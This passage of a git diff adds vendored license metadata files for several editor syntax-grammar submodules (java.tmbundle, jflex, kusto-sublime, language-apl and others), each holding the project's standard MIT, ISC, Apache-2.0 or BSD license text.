diff --git a/vendor/licenses/git_submodule/java.tmbundle.dep.yml b/vendor/licenses/git_submodule/java.tmbundle.dep.yml
new file mode 100644
index 0000000000..3a8226d7e6
--- /dev/null
+++ b/vendor/licenses/git_submodule/java.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: java.tmbundle
+version: 79b8b61865e40de0ff04bb16fe1076b154b9894c
+type: git_submodule
+homepage: https://github.com/textmate/java.tmbundle
+license: permissive
+licenses:
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/javadoc.tmbundle.dep.yml b/vendor/licenses/git_submodule/javadoc.tmbundle.dep.yml
new file mode 100644
index 0000000000..35f97671ab
--- /dev/null
+++ b/vendor/licenses/git_submodule/javadoc.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: javadoc.tmbundle
+version: 5276d7a93f0cf53b7d425c39c6968b09ea9f2d40
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/javascript-objective-j.tmbundle.dep.yml b/vendor/licenses/git_submodule/javascript-objective-j.tmbundle.dep.yml
new file mode 100644
index 0000000000..4def159dd5
--- /dev/null
+++ b/vendor/licenses/git_submodule/javascript-objective-j.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: javascript-objective-j.tmbundle
+version: b96701b5ebea10c6cb363fb2a8fdb32d93093b3b
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/jflex.tmbundle.dep.yml b/vendor/licenses/git_submodule/jflex.tmbundle.dep.yml
new file mode 100644
index 0000000000..c0a273a0c6
--- /dev/null
+++ b/vendor/licenses/git_submodule/jflex.tmbundle.dep.yml
@@ -0,0 +1,40 @@
+---
+name: jflex.tmbundle
+version: 8b5c0cefc7672ec4d0a5f6d9095256252120fa44
+type: git_submodule
+homepage: https://github.com/jflex-de/jflex.tmbundle.git
+license: bsd-2-clause
+licenses:
+- sources: LICENSE.md
+  text: |
+    JFlex TextMate Bundle
+    =====================
+
+    Copyright (c) 2023 Gerwin Klein and contributors.
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions
+    are met:
+
+    1. Redistributions of source code must retain the above copyright
+       notice, this list of conditions and the following disclaimer.
+
+    2. Redistributions in binary form must reproduce the above copyright
+       notice, this list of conditions and the following disclaimer in the
+       documentation and/or other materials provided with the distribution.
+
+    THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+    ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+    ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+    OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+    HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+    LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+    OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+    SUCH DAMAGE.
+- sources: README.md
+  text: The bundle is released under a BSD-2-Clause license. See [`LICENSE.md`](LICENSE.md)
+notices: []
diff --git a/vendor/licenses/git_submodule/jte-template-syntax-highlight.dep.yml b/vendor/licenses/git_submodule/jte-template-syntax-highlight.dep.yml
new file mode 100644
index 0000000000..a9afb2e4be
--- /dev/null
+++ b/vendor/licenses/git_submodule/jte-template-syntax-highlight.dep.yml
@@ -0,0 +1,200 @@
+---
+name: jte-template-syntax-highlight
+version: 32a99356e875c685496e66a0d47bde6a79f9cad9
+type: git_submodule
+homepage: https://github.com/maj2c/jte-template-syntax-highlight
+license: apache-2.0
+licenses:
+- sources: LICENSE.md
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       Copyright 2022 Mansour Abou Jaoude
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/kivy-language-grammer.dep.yml b/vendor/licenses/git_submodule/kivy-language-grammer.dep.yml
new file mode 100644
index 0000000000..398f2cf5a6
--- /dev/null
+++ b/vendor/licenses/git_submodule/kivy-language-grammer.dep.yml
@@ -0,0 +1,31 @@
+---
+name: kivy-language-grammer
+version: d6ab305f30432a4603c547e92ab517504aaf4baf
+type: git_submodule
+homepage: https://github.com/p0lygun/kivy-language-grammer.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2022 Vibhakar Solanki
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/kusto-sublime.dep.yml b/vendor/licenses/git_submodule/kusto-sublime.dep.yml
new file mode 100644
index 0000000000..a5a3701b0a
--- /dev/null
+++ b/vendor/licenses/git_submodule/kusto-sublime.dep.yml
@@ -0,0 +1,211 @@
+---
+name: kusto-sublime
+version: c908c01fe1e5f664a5152e371d1d432f6681f30c
+type: git_submodule
+homepage: https://github.com/mmanela/kusto-sublime.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/lang-4d.dep.yml b/vendor/licenses/git_submodule/lang-4d.dep.yml
new file mode 100644
index 0000000000..4e71b13c92
--- /dev/null
+++ b/vendor/licenses/git_submodule/lang-4d.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: lang-4d
+version: db3ca1cd5acd195c00688eba642ae8ff7644dae7
+license: mit
+licenses:
+- text: |-
+    MIT License
+
+    Copyright (c) 2019 Ayoub Serti
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-agc.dep.yml b/vendor/licenses/git_submodule/language-agc.dep.yml
new file mode 100644
index 0000000000..b1fe7ab2d0
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-agc.dep.yml
@@ -0,0 +1,21 @@
+---
+type: git_submodule
+name: language-agc
+version: 6fb398ee1110d65f4c92c7644e8e6d896dc43300
+license: isc
+licenses:
+- text: |-
+    Copyright (c) 2016, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-apl.dep.yml b/vendor/licenses/git_submodule/language-apl.dep.yml
new file mode 100644
index 0000000000..92419b6e8d
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-apl.dep.yml
@@ -0,0 +1,23 @@
+---
+name: language-apl
+version: 5113179d6890c004a26426b6bfa49fd87dda2a2b
+type: git_submodule
+homepage: https://github.com/Alhadis/language-apl.git
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2016-2021, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-asl.dep.yml b/vendor/licenses/git_submodule/language-asl.dep.yml
new file mode 100644
index 0000000000..658c00fcaa
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-asl.dep.yml
@@ -0,0 +1,28 @@
+---
+name: language-asl
+version: e5a5ed21094d27bfd6d5394e864b8be1f93d7922
+type: git_submodule
+homepage: https://github.com/sebadur/language-asl
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) Sebastian Badur
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-asn1.dep.yml b/vendor/licenses/git_submodule/language-asn1.dep.yml
new file mode 100644
index 0000000000..1596168d08
--- /dev/null
+++ b/vendor/licenses/git_submodule/language-asn1.dep.yml
@@ -0,0 +1,31 @@
+---
+name: language-asn1
+version: 208b6d9ebe873180b109a286a481ca6639200d3e
+type: git_submodule
+homepage: https://github.com/ajlangley/language-asn1
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2016 Alexander Langley
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/language-basic.dep.yml b/vendor/licenses/git_submodule/language-basic.dep.yml
new file mode 100644
index 0000000000..758c114555
--- /dev/null
